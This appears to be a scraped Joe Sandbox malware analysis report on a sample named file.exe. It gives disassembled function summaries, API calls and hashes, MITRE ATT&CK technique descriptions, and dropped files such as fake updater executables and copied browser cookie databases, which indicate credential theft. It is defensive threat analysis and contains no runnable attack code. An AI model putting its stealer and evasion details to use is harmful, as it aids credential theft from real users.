Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$$^q
API String ID: 0-296639492
Opcode ID: 717779d9096c02c093a432185390a79d64b63b4b1edbe958476e7211fe1c7586
Instruction ID: b8e417dafc9598e30d0beeb07f025daf2a2d42cc30c100ef32e87827c476bc0c
Opcode Fuzzy Hash: 717779d9096c02c093a432185390a79d64b63b4b1edbe958476e7211fe1c7586
Instruction Fuzzy Hash: 21418030B45214CFDB19EB39CAD953E77EAABC8A6071944AAE006CB375DE25CC428741

Function 6CF67673 Relevance: 5.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,CA0C7769), ref: 6CF676AD
LeaveCriticalSection.KERNEL32(?,?,?,CA0C7769), ref: 6CF676FF
EnterCriticalSection.KERNEL32(CA0C7769,?,?,?,CA0C7769), ref: 6CF6770D
LeaveCriticalSection.KERNEL32(CA0C7769,?,00000000,?,?,?,?,CA0C7769), ref: 6CF6772A

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

Part of subcall function 6CF66D40: _rand.LIBCMT ref: 6CF66DEA

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$_malloc_rand
String ID:
API String ID: 119520971-0
Opcode ID: 8b5425522c4cdeec86e4870f10a9247d2e4aa80fef9fea1abe2c7f67b879d33e
Instruction ID: 44b41e5d0260677e7e40219c383a37ddcf3f0b0ba71b526f7ccf52f2cb089887
Opcode Fuzzy Hash: 8b5425522c4cdeec86e4870f10a9247d2e4aa80fef9fea1abe2c7f67b879d33e
Instruction Fuzzy Hash: 21216571904609AFCB10DF65CC44EDBB7BDFF41354F10862AE92697A40EB71BA05CBA0

Function 6CF67680 Relevance: 5.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,CA0C7769), ref: 6CF676AD
LeaveCriticalSection.KERNEL32(?,?,?,CA0C7769), ref: 6CF676FF
EnterCriticalSection.KERNEL32(CA0C7769,?,?,?,CA0C7769), ref: 6CF6770D
LeaveCriticalSection.KERNEL32(CA0C7769,?,00000000,?,?,?,?,CA0C7769), ref: 6CF6772A

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

Part of subcall function 6CF66D40: _rand.LIBCMT ref: 6CF66DEA

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$_malloc_rand
String ID:
API String ID: 119520971-0
Opcode ID: 79b4a4a14e409cc42e1341d3935b90f33869202548d65788087236b83186e1cc
Instruction ID: c822b73b4a09ebc4da714d3c27e2b709bc6b4fef2fbfa44405651d454bc6b260
Opcode Fuzzy Hash: 79b4a4a14e409cc42e1341d3935b90f33869202548d65788087236b83186e1cc
Instruction Fuzzy Hash: 38218771904609AFCB10DF65CC44EDBB7BDFF41354F10862AE81697A40EB71BA05CBA0

Function 6CF69580 Relevance: 5.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?), ref: 6CF695A9
LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 6CF695CA
EnterCriticalSection.KERNEL32(00000000,?,?), ref: 6CF695DA
LeaveCriticalSection.KERNEL32(00000000,?,?,?), ref: 6CF695FB

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: fee158bf92c3801f0761110f21ee5bbfb6a7eb34a27a8801db153cdc4fc6faf4
Instruction ID: 2e9146a9cdc30fd7a74e9c260bb2692a96eeb0270a2ccdda381a4b2ccabeb35a
Opcode Fuzzy Hash: fee158bf92c3801f0761110f21ee5bbfb6a7eb34a27a8801db153cdc4fc6faf4
Instruction Fuzzy Hash: 0F117C32A05108EFCB00CFAAE884DDEFBB8FF51318B10419AE51597A10DB30FA55CBA0

Analysis Process: RegSvcs.exePID: 4944, Parent PID: 4268COMMON

Execution Graph

Execution Coverage:	18.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	103

Executed Functions

Function 004C00A0 Relevance: 6.9, APIs: 1, Strings: 2, Instructions: 1687COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004C01FF

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use operator[] with a string argument with , xrefs: 004C1DEA, 004C1E28, 004C1EDD
cannot use push_back() with , xrefs: 004C1CD9, 004C1E80

Memory Dump Source

Source File: 00000002.00000002.4085512591.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegSvcs.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-3306948993
Opcode ID: ae932fdd62e77fab86c36b5235b400ed278e0452520dbd40399597b1597067d3
Instruction ID: 70ddbce775e6b9f4390438519087f6b5abdfdd9be8d0e615cc0455d37fea4395
Opcode Fuzzy Hash: ae932fdd62e77fab86c36b5235b400ed278e0452520dbd40399597b1597067d3
Instruction Fuzzy Hash: FB1353B4D042688BDB65CF68C984BEEBBB4AF49304F1042DED449A7282DB746F84CF55

Function 004C6000 Relevance: 6.3, APIs: 4, Instructions: 310fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F
FindNextFileA.KERNELBASE(00000000,00000010), ref: 004C643F
GetLastError.KERNEL32 ref: 004C644D
FindClose.KERNEL32(00000000), ref: 004C645D

Memory Dump Source

Source File: 00000002.00000002.4085512591.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegSvcs.jbxd

Similarity

API ID: Find$File$CloseErrorFirstLastNext
String ID:
API String ID: 819619735-0
Opcode ID: d2049535a15a5ef7137b099a312498ac26b6cc0e4881623c14184f8926296517
Instruction ID: afe6fe270f27518361ed143ef8865d869d8c660e8b4c9bb3a5978c93709ae348
Opcode Fuzzy Hash: d2049535a15a5ef7137b099a312498ac26b6cc0e4881623c14184f8926296517
Instruction Fuzzy Hash: ACD17CB4C043488FDB24CF98C994BEEBBB1BF45314F14829ED4496B392D7785A84CB59

Function 0045E140 Relevance: 17.4, APIs: 11, Instructions: 889
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B8E0: CreateDirectoryA.KERNEL32(?,00000000), ref: 0040BA08

CreateDirectoryA.KERNEL32(?,00000000), ref: 0045E242
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0045E3D3
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0045E4C6
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 0045E5BC
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,-0000004C), ref: 0045E808
CreateDirectoryA.KERNEL32(?,00000000), ref: 0045E986
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0045EB1D
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0045EC10

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 0045ED06

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,-0000004C), ref: 0045EDED
CreateDirectoryA.KERNEL32(?,00000000,?,00000000,?,?,?,-0000004C), ref: 0045F06D

Memory Dump Source

Source File: 00000002.00000002.4085512591.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegSvcs.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: 92acab635771ea57e881a217a3817f7b0fb712a5626f340dd58f201ff669004b
Instruction ID: 0e418cf523baa0a35c0a910b93c4bb77d5942d6061cfe1063ad62b245a56bb8b
Opcode Fuzzy Hash: 92acab635771ea57e881a217a3817f7b0fb712a5626f340dd58f201ff669004b
Instruction Fuzzy Hash: 4FA226B0D012688BCB25DB65CD95BDDBBB4AF14304F0040EED44A67282EB785F88DF5A

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\l2[1].exe

C:\Users\user\AppData\Local\Temp\3mPJKgsigfIE_SLZsizIH3r.zip

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\02zdBXl47cvzcookies.sqlite

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\1cU8LgDKYNdaWeb Data

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\3b6N2Xdh3CYwplaces.sqlite

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\5w9d2wtl6W7LWeb Data

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\AhUc0FWfOlxwWeb Data

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre